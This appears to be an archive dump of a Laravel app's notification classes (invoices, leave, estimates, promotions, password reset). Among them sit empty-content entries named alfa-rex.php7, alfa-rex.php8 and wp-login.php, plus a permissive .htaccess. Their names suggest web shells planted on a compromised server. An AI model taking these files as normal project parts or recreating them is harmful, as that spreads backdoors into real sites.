($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.invoice.subject'), $this->invoice->invoice_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $newInvoice = parent::build($notifiable); if (($this->invoice->project && !is_null($this->invoice->project->client)) || !is_null($this->invoice->client_id)) { // For Sending pdf to email $invoiceController = new InvoiceController(); if ($pdfOption = $invoiceController->domPdfObjectForDownload($this->invoice->id)) { $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $newInvoice->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $url = url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->invoice->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.invoice.text') . '
' . __('app.invoiceNumber') . ': ' .$this->invoice->invoice_number ; $newInvoice->subject(__('email.invoice.subject') . ' (' . $this->invoice->invoice_number . ') - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.viewInvoice'), 'notifiableName' => $notifiable->name ]); return $newInvoice; } } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->invoice->id, 'invoice_number' => $this->invoice->invoice_number ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.hello') . ' ' . $notifiable->name . ' ' . __('email.invoice.subject')); } } Notifications/InvoicePaymentReceived.php000064400000007570150325104500014473 0ustar00payment = $payment; $this->company = $this->payment->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'payment-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $invoice = Invoice::findOrFail($this->payment->invoice_id); if (!is_null($invoice->project) && !is_null($invoice->project->client) && !is_null($invoice->project->client->clientDetails)) { $client = $invoice->project->client; } elseif (!is_null($invoice->client_id) && !is_null($invoice->clientDetails)) { $client = $invoice->client; } if ($invoice->order_id != null) { $number = __('app.order') . '#' . $invoice->order_id; $message = __('email.invoices.paymentReceivedForOrder'); $url = route('orders.show', $invoice->order_id); $actionBtn = __('email.orders.action'); } else { $number = $invoice->invoice_number; $message = __('email.invoices.paymentReceivedForInvoice'); $url = route('invoices.show', $invoice->id); $actionBtn = __('email.invoices.action'); } $message .= (isset($client->name)) ? __('app.by') . ' ' . $client->name . '.' : '.'; $url = getDomainSpecificUrl($url, $this->company); $content = $message . ':- ' . '
' . __('app.invoiceNumber') . ': ' . $number; $build ->subject(__('email.invoices.paymentReceived') . ' (' . $invoice->invoice_number . ') - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => $actionBtn, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { $invoice = Invoice::find($this->payment->invoice_id); if ($invoice) { return [ 'id' => $invoice->id, 'invoice_number' => $invoice->invoice_number ]; } return ''; } public function toSlack($notifiable) { $invoice = Invoice::findOrFail($this->payment->invoice_id); return $this->slackBuild($notifiable) ->content(__('email.hello') . ' ' . $notifiable->name . "\n" . __('email.invoices.paymentReceivedForInvoice') . ':' . $invoice->invoice_number); } } Notifications/NewProjectStatus.php000064400000003735150325104500013355 0ustar00projectStatus = $projectStatus; $this->company = $this->projectStatus->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('projects.show', $this->projectStatus->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newProjectStatus.text') . ' - ' . $this->projectStatus->status . '. ' . __('email.newProjectStatus.loginNow'); $build ->subject(__('email.newProjectStatus.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.projectStatus.created', [ 'url' => $url, 'content' => $content, 'name' => $notifiable->name, 'notifiableName' => $notifiable->name, 'themeColor' => $this->company->header_color ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->projectStatus->toArray(); } } Notifications/InvoiceRecurringStatus.php000064400000004301150325104500014540 0ustar00invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'invoice-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('invoice-recurring.show', $this->invoice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.invoiceRecurringStatus.text') . ' ' . $this->invoice->status . '.'; $build ->subject(__('email.invoiceRecurringStatus.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.invoiceRecurringStatus.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->invoice->toArray(); } } Notifications/InvoiceReminderAfter.php000064400000004202150325104500014123 0ustar00invoice = $invoice; $this->company = $this->invoice->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = []; if ($notifiable->email != '') { $via = ['mail']; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $invoice_number = $this->invoice->invoice_number; $url = url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->invoice->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.invoiceReminderAfter.text') . ' ' . $this->invoice->due_date->toFormattedDateString() . '
' . new HtmlString($invoice_number) . '
' . __('email.messages.confirmMessage') . '
' . __('email.messages.referenceMessage'); $build ->subject(__('email.invoiceReminder.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.invoiceReminder.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ public function toArray($notifiable) { return $notifiable->toArray(); } } Notifications/LeaveStatusReject.php000064400000006145150325104500013464 0ustar00leave = $leave; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->id); if ($this->leave->duration == "multiple") { $url .= '?type=single'; } $url = getDomainSpecificUrl($url, $this->company); if (session()->has('dateRange')) { $contentDate = session('dateRange'); } else { $contentDate = $this->leave->leave_date->format($this->company->date_format); } $content = __('email.leave.reject') . '
' . __('app.date') . ': ' . $contentDate . '
' . __('app.status') . ': ' . $this->leave->status . '
' . __('app.reason') . ': ' . $this->leave->reject_reason . '
'; $build ->subject(__('email.leaves.statusSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->leave->toArray(); } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.leave.reject') . "\n" . __('app.date') . ': ' . $this->leave->leave_date->format($this->company->date_format) . "\n" . __('app.status') . ': ' . $this->leave->status . "\n" . __('app.reason') . ': ' . $this->leave->reject_reason); } } Notifications/LeadAgentAssigned.php000064400000005103150325104500013362 0ustar00deal = $deal; $this->company = $this->deal->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'lead-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('deals.show', $this->deal->id); $url = getDomainSpecificUrl($url, $this->company); $leadEmail = __('modules.lead.clientEmail') . ': '; $clientEmail = !is_null($this->deal->contact->client_email) ? $leadEmail : ''; $content = __('email.leadAgent.subject') . '
' .__('modules.deal.dealName') . ': ' . $this->deal->name . '
' . __('modules.lead.clientName') . ': ' . $this->deal->contact->client_name_salutation . '
' . $clientEmail . $this->deal->contact->client_email; $build ->subject(__('email.leadAgent.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leadAgent.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->deal->id, 'name' => $this->deal->name, 'agent_id' => $notifiable->id, 'added_by' => $this->deal->added_by ]; } } Notifications/.htaccess000064400000000544150325104500011151 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Notifications/NewEstimateRequest.php000064400000005574150325104500013672 0ustar00estimateRequest = $estimateRequest; $this->company = $this->estimateRequest->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'estimate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build(); $url = route('estimate-request.show', $this->estimateRequest->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEstimateRequest.text') . '
' . __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number') . ': ' .$this->estimateRequest->estimate_request_number; $build ->subject(__('email.newEstimateRequest.subject') . ' (' . $this->estimateRequest->estimate_request_number . ') - ' . config('app.name') . __('!')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateRequestRejected.action'), 'notifiableName' => $notifiable->name, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimateRequest->id, 'estimate_request_number' => $this->estimateRequest->estimate_request_number, ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable)->content(__('email.hello') . ' ' . $notifiable->name . ' ' . __('email.newEstimateRequest.subject')); } } Notifications/PromotionUpdated.php000064400000015002150325104500013354 0ustar00promotion = $promotion; $this->previousDesignationId = $previousDesignationId; $this->previousDepartmentId = $previousDepartmentId; $this->previousDesignation = Designation::find($this->previousDesignationId); $this->previousDepartment = Team::find($this->previousDepartmentId); $this->company = $this->promotion->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->promotion->company_id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } array_push($via, 'slack'); return $via; } /** * Get the mail representation of the notification. */ public function toMail($notifiable) { $currentDesignation = $this->promotion->currentDesignation->name; $previousDesignation = $this->previousDesignation->name; $currentDepartment = $this->promotion->currentDepartment->team_name; $previousDepartment = $this->previousDepartment->team_name; $subject = '🚀 ' . __('email.incrementPromotion.subject') . ' ' . $notifiable->name; if ($currentDesignation == $previousDesignation) { $designation = $currentDesignation; } else { $designation = __('app.from'). ' ' .$previousDesignation . ' ' . __('app.to') . ' ' . $currentDesignation. ' '; } if ($currentDepartment == $previousDepartment) { $department = __('email.incrementPromotion.in') . ' ' . __('email.incrementPromotion.same'); } else { $department = __('app.from') . ' ' .$previousDepartment . ' ' . __('app.to') . ' ' . $currentDepartment. ' '; } $content = __('email.incrementPromotion.updateText') . ' ' . $designation . ' ' . $department . ' ' . __('app.menu.teams') . '! 🎊

' . __('email.incrementPromotion.text2') . '

'; $build = parent::build($notifiable); $build->subject($subject) ->markdown('mail.email', [ 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { $currentDesignation = $this->promotion->currentDesignation->name; $previousDesignation = $this->previousDesignation->name; $currentDepartment = $this->promotion->currentDepartment->team_name; $previousDepartment = $this->previousDepartment->team_name; if ($currentDesignation == $previousDesignation) { $designation = $currentDesignation; } else { $designation = __('app.from'). ' ' .$previousDesignation . ' ' . __('app.to') . ' ' . $currentDesignation. ' '; } if ($currentDepartment == $previousDepartment) { $department = __('email.incrementPromotion.in') . ' ' . __('email.incrementPromotion.same'); } else { $department = __('app.from') .' ' .$previousDepartment . ' ' . __('app.to') . ' ' . $currentDepartment. ' '; } $content = __('email.incrementPromotion.updateText') . ' ' . $designation . ' ' . $department . ' ' . __('app.menu.teams') . '! 🎊'; return [ 'id' => $this->promotion->id, 'created_at' => $this->promotion->created_at->format('Y-m-d H:i:s'), 'title' => __('email.incrementPromotion.subject') . ' ' . $notifiable->name, 'heading' => $content, ]; } public function toSlack($notifiable) { try { $currentDesignation = $this->promotion->currentDesignation->name; $previousDesignation = $this->previousDesignation->name; $currentDepartment = $this->promotion->currentDepartment->team_name; $previousDepartment = $this->previousDepartment->team_name; $notifiableName = __('email.hello') . ' ' . $notifiable->name; $subject = '🚀 ' . __('email.incrementPromotion.subject') . ' ' . $notifiable->name; if ($currentDesignation == $previousDesignation) { $designation = $currentDesignation; } else { $designation = __('app.from'). ' *' .$previousDesignation . '* ' . __('app.to') . ' *' . $currentDesignation. '* '; } if ($currentDepartment == $previousDepartment) { $department = __('email.incrementPromotion.in') . ' ' . __('email.incrementPromotion.same'); } else { $department = __('app.from') . ' *' .$previousDepartment . '* ' . __('app.to') . ' *' . $currentDepartment. '* '; } $content = __('email.incrementPromotion.updateText') . ' ' . $designation . ' ' . $department . ' ' . __('app.menu.teams') . '! 🎊 ' . "\n\n" . __('email.incrementPromotion.text2') . "\n\n"; return $this->slackBuild($notifiable) ->content($subject . "\n\n" . $notifiableName . "\n\n" . $content); } catch (\Exception $e) { return $this->slackRedirectMessage('email.incrementPromotion.subject', $notifiable); } } } Notifications/EstimateRequestRejected.php000064400000006047150325104500014662 0ustar00estimateRequest = $estimateRequest; $this->company = $this->estimateRequest->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'estimate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build(); $url = route('estimate-request.show', $this->estimateRequest->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimateRequestRejected.text') . '
' . __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number') . ': ' .$this->estimateRequest->estimate_request_number; $content .= '

' . __('app.reason') . ': ' . $this->estimateRequest->reason; $build ->subject(__('email.estimateRequestRejected.subject') . ' (' . $this->estimateRequest->estimate_request_number . ') - ' . config('app.name') . __('!')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateRequestRejected.action'), 'notifiableName' => $notifiable->name, 'reason' => $this->estimateRequest->reason ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimateRequest->id, 'estimate_request_number' => $this->estimateRequest->estimate_request_number, ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable)->content(__('email.hello') . ' ' . $notifiable->name . ' ' . __('email.estimateRequestRejected.subject')); } } Notifications/EstimateAccepted.php000064400000002320150325104500013262 0ustar00estimate = $estimate; $this->company = $this->estimate->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'estimate-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via($notifiable) { $via = []; if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.hello') . ' ' . $notifiable->name . $this->estimate->estimate_number . ' ' . __('email.estimateAccepted.subject')); } } Notifications/EstimateDeclined.php000064400000005125150325104500013267 0ustar00estimate = $estimate; $this->company = $this->estimate->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'estimate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('estimates.show', $this->estimate->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimateDeclined.text'); $build ->subject(__('email.estimateDeclined.subject') . ' - ' . config('app.name') . __('!')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateDeclined.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimate->id, 'estimate_number' => $this->estimate->estimate_number ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable)->content(__('email.hello') . ' ' . $notifiable->name . ' ' . __('email.estimateDeclined.subject')); } } Notifications/alfa-rex.php7000064400000026574150325104500011665 0ustar00Notifications/NewProject.php000064400000003673150325104500012152 0ustar00project = $project; $this->company = $this->project->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('projects.show', $this->project->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newProject.text') . ' - ' . ($this->project->project_name) . '

' . __('email.newProject.loginNow'); $build ->subject(__('email.newProject.subject') . ' - ' . config('app.name') . '.') ->greeting(__('email.hello') . ' ' . $notifiable->name . ',') ->markdown('mail.project.created', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->project->toArray(); } } Notifications/TaskCommentClient.php000064400000007737150325104500013463 0ustar00task = $task; $this->comment = $comment; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskComment.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', [$this->task->id, 'view' => 'comments']); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.taskComment.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code . '
' . (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $build ->subject(__('email.taskComment.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskComment.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->comment->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskComment.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskComment.subject')) ->setBody(__('email.taskComment.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code); } } Notifications/alfa-rex.php8000064400000026574150325104500011666 0ustar00Notifications/ProjectMemberMention.php000064400000007523150325104500014160 0ustar00project = $project; $this->projectMember = ProjectMember::where('project_id', $this->project->id)->first(); $this->company = $this->project->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'project-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newProjectMember.subject'), $this->project->project_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $url = route('projects.show', $this->project->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newProjectMember.mentionText') . ' - ' . $this->project->project_name . '
'; return parent::build($notifiable) ->subject(__('email.newProjectMember.mentionProject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newProjectMember.action'), 'notifiableName' => $notifiable->name ]); } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'member_id' => $this->projectMember->id, 'project_id' => $this->project->id, 'project' => $this->project->project_name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.newProjectMember.mentionText') . '*' . "\n" . __('email.newProjectMember.text') . ' - ' . $this->project->project_name); } public function toOneSignal() { return OneSignalMessage::create() ->subject(__('email.newProjectMember.subject')) ->body($this->project->project_name); } } Notifications/wp-login.php000064400000026574150325104500011633 0ustar00Notifications/ResetPassword.php000064400000006350150325104500012672 0ustar00token = $token; } /** * Get the notification's channels. * * @return array|string */ public function via() { return ['mail']; } /** * Build the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { if (static::$toMailCallback) { return call_user_func(static::$toMailCallback, $notifiable, $this->token); } return $this->buildMailMessage($this->resetUrl($notifiable)); } /** * Get the reset password notification mail message for the given URL. * * @param string $url * @return \Illuminate\Notifications\Messages\MailMessage */ protected function buildMailMessage($url) { return $this->build() ->subject(__('email.forgetPassword.subject')) ->line(__('email.forgetPassword.content')) ->action(__('email.forgetPassword.actionButton'), $url) ->line(__('email.forgetPassword.expire')) ->line(__('email.forgetPassword.contentPassword')); } /** * Get the reset URL for the given notifiable. * * @param mixed $notifiable * @return string */ protected function resetUrl($notifiable) { if (static::$createUrlCallback) { return call_user_func(static::$createUrlCallback, $notifiable, $this->token); } $url = route('password.reset', [ 'token' => $this->token, 'email' => $notifiable->getEmailForPasswordReset(), ], false); $this->company = $notifiable->company; if (isWorksuiteSaas()) { $this->company = $notifiable->user->company; } $url = getDomainSpecificUrl($url, $this->company); return url($url); } /** * Set a callback that should be used when creating the reset password button URL. * * @param \Closure(mixed, string): string $callback * @return void */ public static function createUrlUsing($callback) { static::$createUrlCallback = $callback; } /** * Set a callback that should be used when building the notification mail message. * * @param \Closure(mixed, string): \Illuminate\Notifications\Messages\MailMessage $callback * @return void */ public static function toMailUsing($callback) { static::$toMailCallback = $callback; } } Notifications/RemovalRequestApprovedRejectLead.php000064400000004027150325104500016466 0ustar00type = $type; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array(); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); if ($this->type == 'approved') { $content = __('email.removalRequestApprovedLead.text'); $build ->subject(__('email.removalRequestApprovedLead.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->client_name ]); parent::resetLocale(); return $build; } $content = __('email.removalRequestRejectedLead.text'); $build ->subject(__('email.removalRequestRejectedLead.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->client_name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/WeeklyTimesheetApproved.php000064400000003645150325104500014702 0ustar00weeklyTimesheet = $weeklyTimesheet; $this->company = $weeklyTimesheet->company; } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $build ->subject(__('email.weeklyTimesheetApproved.subject')) ->greeting(__('email.weeklyTimesheetApproved.greeting')) ->line(__('email.weeklyTimesheetApproved.text')) 